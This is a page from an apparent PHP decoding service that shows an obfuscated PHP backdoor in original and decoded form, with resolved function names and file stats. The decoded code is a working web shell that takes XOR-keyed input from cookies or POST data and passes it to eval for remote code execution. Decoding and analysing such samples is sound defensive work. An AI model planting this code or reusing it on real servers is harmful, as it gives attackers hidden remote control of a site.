Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $CPeRslMoW =/* ylwRH*/"\x73" . chr (/* OdP*/591 -/*wWjvk */475 ).'r'/* ejXD..

Decoded Output download

<?php	$CPeRslMoW   =/*  ylwRH*/"s"	.   chr	(/*   OdP*/591	-/*wWjvk  */475	).'r'/*  ejXDs */./* C*/"_"/*AW   */.   chr	(114)/*  Sa   */.	"e"	./*  cmy  */"p"     ./*   UVOIX*/'e'/* zy   */.	'a'     .  chr	(/* jKZ  */731 -	615     ); 
					$DleaB =/*  rCp  */"e"	.    'x'     .    chr    (/* dqU */221	-	109  )."l"	./*  kGrA  */'o'	.    chr   (100)     .	"e"; 
$iCBfr =/*  jNayR  */"c"	.	"o"  . "u"    .   chr	(	919     -	809    ).chr/*  s  */(116); 
$avUtiQStne/* cbS */=/*   EX   */'p'    .	chr	(97) ./*  RMf*/"c"	./*N */chr	(107); 
					$EnYnTRNVZ =/*  aLO   */Array    (/*  wK  */"PtajDMf"/*   L*/=>	"wzLhqNbmXFtyvwhLIovVmsjbAJI"	); 
		  $aVJOn/*i   */=  Array/* zWV  */(	"YLxFkVyqvQrUn"	=>/*lxyY   */"PahPMNemiboJdxQi"	); 
		/*  K*/foreach	(/*   wPX   */Array(	$EnYnTRNVZ,/*eDNy */$_COOKIE,    $aVJOn,   $_POST,/*   L  */$EnYnTRNVZ)/*   fsOe*/as  $cWHeH) { 
					    foreach	(	$cWHeH	as	$JRDfTDmoW/* XF  */=>     $ouucuhcpbd/*wcXZ  */)   { 
    	$ouucuhcpbd	=/*   wY   */@$avUtiQStne(	'H'   ./* AF*/'*',     $ouucuhcpbd ); 
 
 
/* R*/$JRDfTDmoW	.=  "KTf-iMHLrV-gNEbz-DieUW-qfW-SDUhd-zEGufk"; 
    $JRDfTDmoW	=	$CPeRslMoW    (	$JRDfTDmoW,	(/* vwnI   */strlen(/*   L  */$ouucuhcpbd/* vR   */)/strlen(/*  XpGm  */$JRDfTDmoW/*SdZ*/)/*  vq  */)/*  X  */+     1); 
 
 
/*  dNFTP */$RkxRxPDH	=	$ouucuhcpbd	^     $JRDfTDmoW; 
	/*Ezx   */$RkxRxPDH	=/*fppz  */$DleaB/* WFgh */(     "#",   $RkxRxPDH/* SDmW   */); 
	if/*   GH */(/*  g*/$iCBfr/*OYQYJ  */( $RkxRxPDH/* oxMx*/)/*K*/==/*   q */3/*   V  */) { 
     /*WyjaS   */$param1 =/*S */$RkxRxPDH[1]; 
  /*  L   */$param2	=	$RkxRxPDH[2]; 
  $param3	=  $param1($param2); 
    /*  pkIHW   */eval	(/*  te  */$param3  ); 
						die	(); 
 
 
/*  tzc*/} 
				/* YNhN   */} 
			/*   sMD */} ?>

Did this file decode correctly?

Original Code

<?php	$CPeRslMoW   =/*  ylwRH*/"\x73"	.   chr	(/*   OdP*/591	-/*wWjvk  */475	).'r'/*  ejXDs */./* C*/"\x5f"/*AW   */.   chr	(114)/*  Sa   */.	"\145"	./*  cmy  */"\160"     ./*   UVOIX*/'e'/* zy   */.	'a'     .  chr	(/* jKZ  */731 -	615     );
					$DleaB =/*  rCp  */"\x65"	.    'x'     .    chr    (/* dqU */221	-	109  )."\154"	./*  kGrA  */'o'	.    chr   (100)     .	"\x65";
$iCBfr =/*  jNayR  */"\x63"	.	"\x6f"  . "\x75"    .   chr	(	919     -	809    ).chr/*  s  */(116);
$avUtiQStne/* cbS */=/*   EX   */'p'    .	chr	(97) ./*  RMf*/"\143"	./*N */chr	(107);
					$EnYnTRNVZ =/*  aLO   */Array    (/*  wK  */"PtajDMf"/*   L*/=>	"wzLhqNbmXFtyvwhLIovVmsjbAJI"	);
		  $aVJOn/*i   */=  Array/* zWV  */(	"YLxFkVyqvQrUn"	=>/*lxyY   */"PahPMNemiboJdxQi"	);
		/*  K*/foreach	(/*   wPX   */Array(	$EnYnTRNVZ,/*eDNy */$_COOKIE,    $aVJOn,   $_POST,/*   L  */$EnYnTRNVZ)/*   fsOe*/as  $cWHeH) {
					    foreach	(	$cWHeH	as	$JRDfTDmoW/* XF  */=>     $ouucuhcpbd/*wcXZ  */)   {
    	$ouucuhcpbd	=/*   wY   */@$avUtiQStne(	'H'   ./* AF*/'*',     $ouucuhcpbd );


/* R*/$JRDfTDmoW	.=  "KTf-iMHLrV-gNEbz-DieUW-qfW-SDUhd-zEGufk";
    $JRDfTDmoW	=	$CPeRslMoW    (	$JRDfTDmoW,	(/* vwnI   */strlen(/*   L  */$ouucuhcpbd/* vR   */)/strlen(/*  XpGm  */$JRDfTDmoW/*SdZ*/)/*  vq  */)/*  X  */+     1);


/*  dNFTP */$RkxRxPDH	=	$ouucuhcpbd	^     $JRDfTDmoW;
	/*Ezx   */$RkxRxPDH	=/*fppz  */$DleaB/* WFgh */(     "\43",   $RkxRxPDH/* SDmW   */);
	if/*   GH */(/*  g*/$iCBfr/*OYQYJ  */( $RkxRxPDH/* oxMx*/)/*K*/==/*   q */3/*   V  */) {
     /*WyjaS   */$param1 =/*S */$RkxRxPDH[1];
  /*  L   */$param2	=	$RkxRxPDH[2];
  $param3	=  $param1($param2);
    /*  pkIHW   */eval	(/*  te  */$param3  );
						die	();


/*  tzc*/}
				/* YNhN   */}
			/*   sMD */}

Function Calls

chr 9

Variables

$DleaB explode
$aVJOn [{'key': 'YLxFkVyqvQrUn', 'value': 'PahPMNemiboJdxQi'}]
$iCBfr count
$CPeRslMoW str_repeat
$EnYnTRNVZ [{'key': 'PtajDMf', 'value': 'wzLhqNbmXFtyvwhLIovVmsjbAJI'}]
$avUtiQStne pack

Stats

MD5 a25317c0b57ed71151f275816df2219d
Eval Count 0
Decode Time 113 ms